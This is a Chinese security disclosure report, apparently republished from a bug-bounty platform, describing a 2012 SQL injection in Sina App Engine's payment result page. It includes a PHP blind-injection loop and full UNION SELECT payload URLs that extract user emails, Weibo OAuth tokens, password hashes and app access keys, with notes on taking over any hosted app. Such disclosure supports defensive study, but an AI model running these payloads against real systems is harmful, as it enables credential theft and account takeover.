新浪SAE沦陷,oauth token/安全密码全部泄露,hack任意app
2013-02-06 15:02
453 查看
漏洞详情
披露状态:
2012-08-22: 细节已通知厂商并且等待厂商处理中 2012-08-22: 厂商已经确认,细节仅向厂商公开 2012-09-01: 细节向核心白帽子及相关领域专家公开 2012-09-11: 细节向普通白帽子公开 2012-09-21: 细节向实习白帽子公开 2012-10-06: 细节向公众公开简要描述:
下午本打算给SAE冲几个云豆试试短信功能,因为很久没黑箱了,就想看看支付问题,结果却发现另一个漏洞,可以获取sae上你想到的所有信息,危及所有用户,一泻千里啊一泻千里,顺手带走了“互联网那点事”(此站建立在SAE上),测试了以下沦陷任意SAE站点的想法...不过官方大可放心,并没有拖库也没有看订单信息,赶紧修复吧:) PS:没想到啊没想到,还没研究sae沙箱环境,在主站就找到了短板,而且短的可怕。
详细说明:
问题归根结底是一个SQL注入,SAE为什么会有注射?想完抽了自己一巴掌,SAE为什么不能有注射?! 一般明面的问题sina安全团队可以发现,而且也会被过路黑客帮忙检测,凭着直觉,问题会出现在一些角落,一些不被人注意到的地方,就在这里:http://sae.sina.com.cn/pay/result/xft?sae_internal=1&may_fail=0&order_id=1
一个付费信息反馈页面,用sqlmap跑了一下,这个傻缺居然告诉我只能盲注。。。自己写了个临时脚本跑数据库。
<?php $url = "http://sae.sina.com.cn/pay/result/xft?sae_internal=1&may_fail=0&order_id=1'"; for ($i=0; $i < 1000; $i++) { //很搓吧。。 $res = explode("|",curlrequest($url.urlencode(" and 1=2 union select 1,concat(0x7c,COLUMN_NAME,0x7c),3,4,5 from information_schema.COLUMNS where TABLE_NAME='user' limit $i,1#"))); echo $res[10]."\r\n"; } 省略curl定义
部分数据
database: information_schema app_store cron cron2 cron_result mysql_stat sae sae_java sae_nodejs swsUser test xweibo admin表 -> id sws_uid name password email timeline role s_mail mobile app表存放app相关信息,比如名称\accesskey --> name cn_name api_version biz_type desp default_version cname create_uid accesskey group_name pool_name svn_url status timeline mysql_port old_status hash cookie platform lang app_type middle_type icon status_flags delete_time user表存放用户所有信息,uid、oauth、email、sae的二次安全密码 --> id name email password_md5 mobile tel status timeline expires sws_uid old_status level deleted money platform beans_level mobile_verified mobile_reverified is_active weibo_uid weibo_name email_verified weibo_access_token devlevel vdun olevel level_endtime level_notify up_welcomed appmid is_qy_vendor last_update userName
省去过多的猜测部分了,直接查询互联网那点事的用户相关信息 http://sae.sina.com.cn//pay/result/xft?sae_internal=1&may_fail=0&order_id=-1%27%20and%201=2%20union%20select%201,concat%280x7c,email,0x7c,weibo_name,0x7c,weibo_access_token,0x7c,password_md5,0x7c%29,3,4,5%20from%20sae.user%20where%20weibo_uid='1627825392'%20limit%200,1%23
那个md5密码就是sae二次安全密码,这个密码还有牛比的用途,后面说。
还可以查询accesskey http://sae.sina.com.cn//pay/result/xft?sae_internal=1&may_fail=0&order_id=-1%27%20and%201=2%20union%20select%201,concat%280x7c,accesskey,0x7c,create_uid,0x7c%29,3,4,5%20from%20sae.app%20limit%200,1%23
可以看出想控制一个app所需的信息全部齐全了。。
8过,还可以利用更简单的方法,svn,sae svn的密码就是sae二次安全密码,嘿嘿。
好了,试试黑掉sae上任意的app吧。
漏洞证明:
证明完毕,结贴。
修复方案:
其实就是个注射而已,但是数据库如此透明想不通,权限。。 可以在数据库内找到想要的一切信息啊,是不是需要反省下?
相关文章推荐
- iOS安全攻防(十四):Hack实战——支付宝app手势密码校验欺骗
- 使用Token作为凭证,从App免登陆跳转到Web是否足够安全?
- [ASP.net教程] 新浪OAuth网站登陆连接,请求access_token时遇到21323 miss client id or secret 的解决方案
- app与后台的token、sessionId、RSA加密登录认证与安全解决方案
- 啪啪任意进入他人账号(OAuth 2.0无绑定token问题)
- 信息安全 - 任意单表代替密码之仿射密码的代码实现和破解 e(x)=ax+b (mod 26)
- app与后台的token、sessionId、RSA加密登录认证与安全解决方案
- 关于app接口调用时如何使session和token票据来保证接口调用的安全
- 新浪开放平台---用code获取access_token(oauth2)
- app与后台的token、sessionId、RSA加密登录认证与安全解决方案
- 续谈登录相关数据的安全加密策略——密码泄露事件杂谈之二
- 微信开发 新浪SAE开发平台 验证Token 一直失败
- 要对一个任意进程(包括系统安全进程和服务进程)进行指定了相关的访问权 [OpenProcessToken,LookupPrivilegeValue,AdjustTokenPrivileges]
- 新浪OAuth网站登陆连接,请求access_token时遇到21323 miss client id or secret 的解决方案
- iPhone App里保存用户密码的安全方法
- 帐号泄露事件频发,到底什么样的密码才安全?
- 关于新浪SaeApp--个人使用感受。
- 从研发角度,移动APP的密码安全
- 微信开发 新浪SAE开发平台 验证Token 一直失败
- 微信开发实战(4)—URL、Token认证、java源码、免费新浪SAE部署